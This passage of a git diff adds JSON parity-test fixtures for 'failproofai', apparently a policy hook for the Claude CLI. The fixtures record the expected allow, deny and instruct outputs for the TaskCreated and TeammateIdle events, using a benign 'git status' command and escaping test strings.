b/__tests__/parity/fixtures/claude/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d257f94d --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9f53d7c1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8f83f6ba --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1085a1c7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b122a439 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1cf85ab4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9f97480c --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..59ad3b45 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..29e3a1a1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f882632c --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cddb582b --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b6bf0e75 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dcd19487 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..74fc015f --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..46431412 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7adb2ac6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b76138e9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9d6ec002 --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f8527e5e --- /dev/null +++ b/__tests__/parity/fixtures/claude/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": 